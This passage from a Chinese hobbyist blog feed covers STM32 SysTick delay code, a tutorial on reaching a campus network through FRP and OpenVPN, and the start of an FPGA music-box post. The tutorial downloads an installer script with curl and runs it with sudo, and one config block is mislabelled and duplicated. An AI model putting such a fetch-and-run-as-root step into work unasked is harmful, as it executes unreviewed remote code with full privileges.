class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003edelay.h\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"stm32f1xx.h\"\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e SYSCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e \u003cstrong\u003e函数 \u003ccode\u003eHAL_SYSTICK_CLKSourceConfig()\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief Configures the SysTick clock source. * @param CLKSource specifies the SysTick clock source. * This parameter can be one of the following values: * @arg SYSTICK_CLKSOURCE_HCLK_DIV8: AHB clock divided by 8 selected as SysTick clock source. * @arg SYSTICK_CLKSOURCE_HCLK: AHB clock selected as SysTick clock source. * @retval None */\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_SYSTICK_CLKSourceConfig\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e CLKSource\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* Check the parameters */\u003c/span\u003e \u003cspan class=\"token function\"\u003eassert_param\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eIS_SYSTICK_CLK_SOURCE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eCLKSource\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eCLKSource \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e SYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL \u003cspan class=\"token operator\"\u003e|=\u003c/span\u003e SYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL \u003cspan class=\"token operator\"\u003e\u0026amp;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eSYSTICK_CLKSOURCE_HCLK\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/blockquote\u003e\u003ch2 id=\"总结\"\u003e\u003ca href=\"#总结\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h2\u003e\u003cp\u003e最后看下来就是 \u003cstrong\u003e设置重装载值,使能,检查标志位\u003c/strong\u003e 这三个步骤。\u003c/p\u003e\u003cp\u003e还有就是书上讲的是比较清楚详细的。\u003cspan class=\"diana_jiayou\"\u003e\u003c/span\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/463a/"},{"title":"使用FRP和OpenVPN实现校园网内网穿透","time":"2022-05-11T16:52:34Z","content":"\u003ch1 id=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003ca href=\"#使用FRP和OpenVPN实现校园网内网穿透\" class=\"headerlink\" title=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003c/a\u003e使用FRP和OpenVPN实现校园网内网\u003chr /\u003e\u003ch1 id=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003ca href=\"#使用FRP和OpenVPN实现校园网内网穿透\" class=\"headerlink\" title=\"使用FRP和OpenVPN实现校园网内网穿透\"\u003e\u003c/a\u003e使用FRP和OpenVPN实现校园网内网穿透\u003c/h1\u003e\u003cp\u003e)因为手头闲置了一台腾讯云小水管,树莓派3b也没啥任务,就准备尝试一下内网穿透校园网。(学校自己的VPN也能用。)\u003c/p\u003e\u003cul\u003e\u003cli\u003e公网云服务器:运行FRP服务端\u003c/li\u003e\u003cli\u003e公司内网服务器:运行FRP客户端、安装OpenVPN\u003c/li\u003e\u003cli\u003e手头的设备:安装OpenVPN客户端进行连接\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"#参考链接\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.spacesafe.top/archives/1557\"\u003e使用FRP和OpenVPN实现内网穿透 – EI_’s Blog (spacesafe.top)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/kxwinxp/article/details/88428053\"\u003eCentOS下搭建Frp内网穿透服务_宁静致远kioye的博客-CSDN博客_centos frp\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.ywbj.cc/?p=663\"\u003eVPN设置,设置OpenVPN访问公司内网,图文详细 - 运维笔记(ywbj.cc)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"开个端口先\"\u003e\u003ca href=\"#开个端口先\" class=\"headerlink\" title=\"开个端口先\"\u003e\u003c/a\u003e开个端口先\u003c/h2\u003e\u003cp\u003e本次 frp 服务端监听 端口为 \u003cstrong\u003e\u003ccode\u003e11451\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cp\u003eOpenVPN 使用端口为 \u003cstrong\u003e\u003ccode\u003e21194\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e所以 在腾讯云管理控制台先把这两个端口开了\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003efrp是一个可用于内网穿透的高性能的反向代理应用,支持tcp、udp协议,为http和https协议提供了额外的能力,且尝试性支持了点对点穿透。\u003c/p\u003e\u003cp\u003eFRP采用GO语言开发,支持windows linux MacOS 等多平台部署\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"安装-frp-服务端与客户端\"\u003e\u003ca href=\"#安装-frp-服务端与客户端\" class=\"headerlink\" title=\"安装 frp 服务端与客户端\"\u003e\u003c/a\u003e安装 frp 服务端与客户端\u003c/h2\u003e\u003cp\u003e因为网络问题选择先下载好再上传\u003c/p\u003e\u003cp\u003efrp 项目地址: \u003ca href=\"https://github.com/fatedier/frp/releases\"\u003eReleases · fatedier\u0026#x2F;frp (github.com)\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"服务端\"\u003e\u003ca href=\"#服务端\" class=\"headerlink\" title=\"服务端\"\u003e\u003c/a\u003e服务端\u003c/h3\u003e\u003cp\u003e在云服务器上操作\u003c/p\u003e\u003cp\u003e找个地方解压出来,然后进入目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003etar\u003c/span\u003e zxf frp_0.42.0_linux_amd64.tar.gz\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e frp_0.42.0_linux_amd64/\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改 \u003ccode\u003efrps.ini\u003c/code\u003e 内容如下\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003ebind_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 默认配置中监听的是 7000 端口,可根据自己实际情况修改。\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 frp 服务端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e./frps \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e ./frps.ini\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"客户端\"\u003e\u003ca href=\"#客户端\" class=\"headerlink\" title=\"客户端\"\u003e\u003c/a\u003e客户端\u003c/h3\u003e\u003cp\u003e在树莓派上操作\u003c/p\u003e\u003cp\u003e找个地方解压出来,然后进入目录\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003etar\u003c/span\u003e zxf frp_0.42.0_linux_arm64.tar.gz\u003cspan class=\"token builtin class-name\"\u003ecd\u003c/span\u003e frp_0.42.0_linux_arm64/\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e修改 \u003ccode\u003efrps.ini\u003c/code\u003e 内容如下\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003eserver_addr \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e *.*.*.*\u003cspan class=\"token comment\"\u003e# * 改为 FRP 服务端的公网 IP\u003c/span\u003eserver_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e \u003cspan class=\"token comment\"\u003e# 为 FRP 服务端监听端口 上面配置端口对应\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evpn_test_tcp\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003etype\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e tcp\u003cspan class=\"token comment\"\u003e#local_ip = 127.0.0.1\u003c/span\u003elocal_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1194\u003c/span\u003eremote_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evpn_test_udp\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token builtin class-name\"\u003etype\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e udp\u003cspan class=\"token comment\"\u003e#local_ip = 127.0.0.1\u003c/span\u003elocal_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1194\u003c/span\u003eremote_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ecommon\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# server_addr 为 FRP 服务端的公网 IP\u003c/span\u003eserver_addr \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e *.*.*.*\u003cspan class=\"token comment\"\u003e# server_port 为 FRP 服务端监听的端口\u003c/span\u003eserver_port \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e11451\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e启动 frp 客户端\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 先确保服务端启动了再启动客户端\u003c/span\u003e./frpc \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e ./frpc.ini\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样 frp 服务端就可以建立一个客户端连接了\u003c/p\u003e\u003ch3 id=\"设置-frp-开机自启\"\u003e\u003ca href=\"#设置-frp-开机自启\" class=\"headerlink\" title=\"设置 frp 开机自启\"\u003e\u003c/a\u003e设置 frp 开机自启\u003c/h3\u003e\u003cp\u003e客户端服务端操作大同小异\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e注意:\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e客户端是 \u003cstrong\u003e\u003ccode\u003efrpc\u003c/code\u003e\u003c/strong\u003e 和 \u003cstrong\u003e\u003ccode\u003efrpc.ini\u003c/code\u003e\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e服务端是 \u003cstrong\u003e\u003ccode\u003efrps\u003c/code\u003e\u003c/strong\u003e 和 \u003cstrong\u003e\u003ccode\u003efrps.ini\u003c/code\u003e\u003c/strong\u003e \u003c/p\u003e\u003cp\u003e创建后台启动模版(服务端为例)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003evi\u003c/span\u003e /etc/systemd/system/frps.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003eExecStart\u003c/code\u003e 根据自己放 \u003ccode\u003efrp\u003c/code\u003e 的目录选\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eUnit\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eDescription\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003efrps\u003cspan class=\"token assign-left variable\"\u003eAfter\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enetwork.target\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eService\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eExecStart\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e/home/yk/frp/frps \u003cspan class=\"token parameter variable\"\u003e-c\u003c/span\u003e /home/yk/frp/frps.ini\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eInstall\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token assign-left variable\"\u003eWantedBy\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003emulti-user.target\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 启动测试\u003c/span\u003esystemctl start frps.service\u003cspan class=\"token comment\"\u003e# 查看启动状态\u003c/span\u003esystemctl status frps.service\u003cspan class=\"token comment\"\u003e# 开机自启\u003c/span\u003esystemctl \u003cspan class=\"token builtin class-name\"\u003eenable\u003c/span\u003e frps.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"OpenVPN-配置\"\u003e\u003ca href=\"#OpenVPN-配置\" class=\"headerlink\" title=\"OpenVPN 配置\"\u003e\u003c/a\u003eOpenVPN 配置\u003c/h2\u003e\u003cp\u003e在树莓派上操作(与运行)\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里使用tun模式、tcp模式,比较容易搭建。手动搭建比较繁琐,我是直接使用一键搭建脚本。\u003c/p\u003e\u003cp\u003e脚本地址:\u003ca href=\"https://github.com/angristan/openvpn-install\"\u003ehttps://github.com/angristan/openvpn-install\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003ecurl\u003c/span\u003e \u003cspan class=\"token parameter variable\"\u003e-O\u003c/span\u003e https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh\u003cspan class=\"token function\"\u003echmod\u003c/span\u003e +x openvpn-install.sh\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e ./openvpn-install.sh\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e因为这里我没截图,就用参考博客的图了\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/frp_openvpn/3.webp\" alt=\"3\"\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/frp_openvpn/4.webp\" alt=\"4\"\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/frp_openvpn/5.webp\" alt=\"5\"\u003e\u003c/p\u003e\u003cp\u003e然后启动 OpenVPN\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003e# 启动测试systemctl start openvpn.service# 查看启动状态systemctl status openvpn.service# 开机自启systemctl enable openvpn.service\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在安装完成后,会生成一个以刚刚命名好的ovpn文件。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/frp_openvpn/6.webp\" alt=\"6\"\u003e\u003c/p\u003e\u003cp\u003e把这玩意下载下来\u003c/p\u003e\u003cp\u003e然后用文本编辑器打开并修改一处(应该是第三行)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eremote xxx.xxx.xxx.xxx \u003cspan class=\"token number\"\u003e21194\u003c/span\u003e\u003cspan class=\"token comment\"\u003e#将默认的1194端口改成FRP转发端口21194(上面FRP客户端配置文件配置的)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e安装完成再次运行脚本,可选择 1)添加用户 2)移除已存在的用户 3)协助软件 4)退出\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"进行连接\"\u003e\u003ca href=\"#进行连接\" class=\"headerlink\" title=\"进行连接\"\u003e\u003c/a\u003e进行连接\u003c/h2\u003e\u003cp\u003e我是在手机上测试的\u003c/p\u003e\u003cp\u003e安装 OpenVPN 客户端,选择我们修改好的 ovpn 文件,连接\u003c/p\u003e\u003cp\u003e)就是速度嘛,理解万岁,看了看论坛还行\u003cspan class=\"carol_shuileshuile\"\u003e\u003c/span\u003e\u003c/p\u003e","url":"https://blog.ksfu.top/posts/24b6/"},{"title":"【fpga4fun】Music box","time":"2022-05-08T17:12:44Z","content":"\u003ch1 id=\"fpga4fun-Music-box\"\u003e\u003ca href=\"#fpga4fun-Music-box\" class=\"headerlink\" title=\"[fpga4fun] Music box\"\u003e\u003c/a\u003e[fpga4fun] Music box\u003c/h1\u003e\u003cbloc\u003chr /\u003e\u003ch1 id=\"fpga4fun-Music-box\"\u003e\u003ca href=\"#fpga4fun-Music-box\" class=\"headerlink\" title=\"[fpga4fun] Music box\"\u003e\u003c/a\u003e[fpga4fun] Music box\u003c/h1\u003e\u003cblockquote\u003e\u003cp\u003e还没整完。\u003c/p\u003e\u003cp\u003eUPDATE1 AT: 2022-12-22 继续完成了Music box 2 这一部分\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e因为在学校收了一块野火征途mini FPGA开发板,在看的是配套的视频教程。群里学长推荐我做一做 fpga4fun 上的东西,那就整一整 ~\u003c/p\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"#简介\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cp\u003e这个项目是用 FPGA 驱动喇叭发出声音和音乐。\u003c/p\u003e\u003cp\u003e硬件连接为 FPGA 开发板,一个喇叭,一个 1kΩ 电阻。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://www.fpga4fun.com/images/MusicBox.jpg\"\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://www.fpga4fun.com/images/MusicBoxSchematic.gif\"\u003e\u003c/p\u003e\u003ch2 id=\"Music-box-1-Simple-beep\"\u003e\u003ca href=\"#Music-box-1-Simple-beep\" class=\"headerlink\" title=\"Music box 1 -Simple beep\"\u003e\u003c/a\u003eMusic box 1 -Simple beep\u003c/h2\u003e\u003ch3 id=\"计数与频率\"\u003e\u003ca href=\"#计数与频率\" class=\"headerlink\" title=\"计数与频率\"\u003e\u003c/a\u003e计数与频率\u003c/h3\u003e\u003cp\u003e一个16位的计数器,范围位 0 ~ 65535 